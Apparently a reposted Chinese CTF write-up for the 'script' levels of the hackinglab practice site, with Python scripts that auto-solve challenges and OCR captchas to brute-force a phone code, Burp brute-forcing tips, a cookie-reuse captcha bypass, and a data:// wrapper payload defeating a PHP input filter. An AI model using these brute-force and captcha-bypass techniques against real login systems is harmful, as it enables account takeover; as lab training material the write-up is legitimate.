hackinglab之脚本关

2023-10-17 22:20
文章标签 脚本 hackinglab

本文主要是介绍hackinglab之脚本关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、key又又找不到了

打开链接,里边有个跳转,产看源代码:
在这里插入图片描述
发现一个界面一闪而逝,所以拦住(bp哦)它,看看有啥玄机:
查看源码,果然在这:
在这里插入图片描述

2、快速口算

这个题肯定不是手算啦,写个python脚本即可:

import requests
import reurl='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php's= requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]
result=eval(num)
r=s.post(url,data={'v': eval(num)})
print (r.text)

在这里插入图片描述

3、这个题目是空的

空的,什么是空的呢?

提示了小写,意味着肯定是有输入信息的,表示空的那只能是null了啊

4、key又又找不到了

这个题还是有点难受的啊

首先产看源代码,是一个js在调用a()函数,则说明有一段函数代码,F12在source里找到,直接拿到HTML在线运行工具执行一遍发现不对啊,还是没有弹框,查看代码,发现有三段return干扰代码,直接删除,运行,弹窗了~

这个题目建议在firefox浏览器进行,因为google弹窗不能复制,还会显示干扰 -_-

5、逗比验证码第一期

这个大概测试了一下,不能注入,只能爆破,验证码可以用一个

所以bp拦包,直接爆破,字典就是1000-9999

线程设置高一点,一下子就跑出来了

6、逗比验证码第二期

这个比较复杂,虽然也是爆破,但是由于验证码一次之后就失效了,所以这里我们需要卡一波bug,在第一次输入正确验证码后,留下的cookie值不要让其失效,紧接着验证下一个密码即可,这是大概的原理。
具体操作就是,设置两个爆破点一个就是密码,另一个是vcode,密码就用刚才的四位纯数字字典,另一个字典为空,即可跑出来:
在这里插入图片描述

自己耐心点实践哦~,有问题可以大家一起交流

7、逗比的验证码第三期(SESSION)

这个也可以和上边那题目一样:
在这里插入图片描述

8、微笑一下就能过关了

这一关,说实话难倒我了,不过找到了一个关键代码:

<?php  header("Content-type: text/html; charset=utf-8");if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include('flag.php'); $smile = 1;   // 这里是给smile赋初值
// 下边这些正则表达式进行判断if (!isset ($_GET['^_^'])) $smile = 0;  if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; //preg_match ( string $pattern , string $subject , string $matches)//搜索subject与pattern给定的正则表达式的一个匹配.//pattern : 要搜索的模式,字符串类型(正则表达式)。//subject : 输入的字符串。//matches :(可有亦可无)如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。//所以以上就是把http、https这些在$pattern位置的字符都过滤了if ($smile) { if (@file_exists ($_GET['^_^'])) $smile = 0;  } //这里是file_exists() 函数检查文件或目录是否存在判断^_^不是一个文件//下边是这道题目的关键,也是最看不懂的//大概就是获取^_^的值,赋值给smile//若(●'◡'●)为smile则返回flagif ($smile) { $smile = @file_get_contents ($_GET['^_^']);  if ($smile === "(●'◡'●)") die($flag);  }  
?> 

这里构造的payload为:

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●)

9、逗比的手机验证码

这个登录进去发现需要验证另一个手机,但是又收不到验证码,可以先在自己手机上得到验证码,不要点掉,重新打开一个标签,把另一个手机的验证码填进去,就好了:

在这里插入图片描述

10、基情燃烧的岁月

根据提示,制作100-999的字典,直接bp爆破
在这里插入图片描述
又发现一个电话号码,接着爆破就OK了

11、验证码识别

这一关有点坑,找了很多方法。。。

这一关主要是验证码会过期,需要工具啥的来配合才能爆破

网上好多人都是用python脚本来跑的:
比如:

import pytesseract
from PIL import Image
import requests
import os
cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}def vcode():# 验证码识别函数pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'r = requests.get(pic_url, headers=header, timeout=10)with open(vcode_path, 'wb') as pic:pic.write(r.content)im = pytesseract.image_to_string(Image.open(vcode_path))im = im.replace(' ', '')if im != '':return imelse:return vcode()url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):code = vcode()data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}r = requests.post(url, data=data, headers=header, timeout=10)response = r.content.decode('utf-8')if 'user_code or mobi_code error' in response:print('trying ' + str(i))else:print('the mobi_code is ' + str(i))print(response)break

但是我高了好久都会报错,不是模块的错,python版本是python3.x,反正就是跑不出来,还有好多,还有用工具的。。。太菜了,只能等待后续大佬出新教程了

12题之后的网站我打不开了…脚本关就到这里吧,后续可以了再更新~

·
·
·
·
·
·
·

《小白记录》

这篇关于hackinglab之脚本关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/228314

相关文章

java脚本使用不同版本jdk的说明介绍

《java脚本使用不同版本jdk的说明介绍》本文介绍了在Java中执行JavaScript脚本的几种方式,包括使用ScriptEngine、Nashorn和GraalVM,ScriptEngine适用... 目录Java脚本使用不同版本jdk的说明1.使用ScriptEngine执行javascript2.

解决Cron定时任务中Pytest脚本无法发送邮件的问题

《解决Cron定时任务中Pytest脚本无法发送邮件的问题》文章探讨解决在Cron定时任务中运行Pytest脚本时邮件发送失败的问题,先优化环境变量,再检查Pytest邮件配置,接着配置文件确保SMT... 目录引言1. 环境变量优化:确保Cron任务可以正确执行解决方案:1.1. 创建一个脚本1.2. 修

python写个唤醒睡眠电脑的脚本

《python写个唤醒睡眠电脑的脚本》这篇文章主要为大家详细介绍了如何使用python写个唤醒睡眠电脑的脚本,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 环境:win10python3.12问题描述:怎么用python写个唤醒睡眠电脑的脚本?解决方案:1.唤醒处于睡眠状

多模块的springboot项目发布指定模块的脚本方式

《多模块的springboot项目发布指定模块的脚本方式》该文章主要介绍了如何在多模块的SpringBoot项目中发布指定模块的脚本,作者原先的脚本会清理并编译所有模块,导致发布时间过长,通过简化脚本... 目录多模块的springboot项目发布指定模块的脚本1、不计成本地全部发布2、指定模块发布总结多模

shell脚本快速检查192.168.1网段ip是否在用的方法

《shell脚本快速检查192.168.1网段ip是否在用的方法》该Shell脚本通过并发ping命令检查192.168.1网段中哪些IP地址正在使用,脚本定义了网络段、超时时间和并行扫描数量,并使用... 目录脚本:检查 192.168.1 网段 IP 是否在用脚本说明使用方法示例输出优化建议总结检查 1

Linux使用nohup命令在后台运行脚本

《Linux使用nohup命令在后台运行脚本》在Linux或类Unix系统中,后台运行脚本是一项非常实用的技能,尤其适用于需要长时间运行的任务或服务,本文我们来看看如何使用nohup命令在后台... 目录nohup 命令简介基本用法输出重定向& 符号的作用后台进程的特点注意事项实际应用场景长时间运行的任务服

如何使用 Bash 脚本中的time命令来统计命令执行时间(中英双语)

《如何使用Bash脚本中的time命令来统计命令执行时间(中英双语)》本文介绍了如何在Bash脚本中使用`time`命令来测量命令执行时间,包括`real`、`user`和`sys`三个时间指标,... 使用 Bash 脚本中的 time 命令来统计命令执行时间在日常的开发和运维过程中,性能监控和优化是不

bat脚本启动git bash窗口,并执行命令方式

《bat脚本启动gitbash窗口,并执行命令方式》本文介绍了如何在Windows服务器上使用cmd启动jar包时出现乱码的问题,并提供了解决方法——使用GitBash窗口启动并设置编码,通过编写s... 目录一、简介二、使用说明2.1 start.BAT脚本2.2 参数说明2.3 效果总结一、简介某些情

Linux服务器Java启动脚本

Linux服务器Java启动脚本 1、初版2、优化版本3、常用脚本仓库 本文章介绍了如何在Linux服务器上执行Java并启动jar包, 通常我们会使用nohup直接启动,但是还是需要手动停止然后再次启动, 那如何更优雅的在服务器上启动jar包呢,让我们一起探讨一下吧。 1、初版 第一个版本是常用的做法,直接使用nohup后台启动jar包, 并将日志输出到当前文件夹n

centos6一键安装vsftpd脚本

centos6一键安装vsftpd脚本 手动安装vsftpd参考教程:Centos下安装Vsftpd的图文教程 vsftpd脚本功能: 1.安装 (命令执行:sh xxx.sh)2.添加ftp用户 (命令执行:sh xxx.sh add)3.卸载vsftpd (命令执行:sh xxx.sh uninstall) 测试环境:centos6 x64 centos6 x86(测试centos7以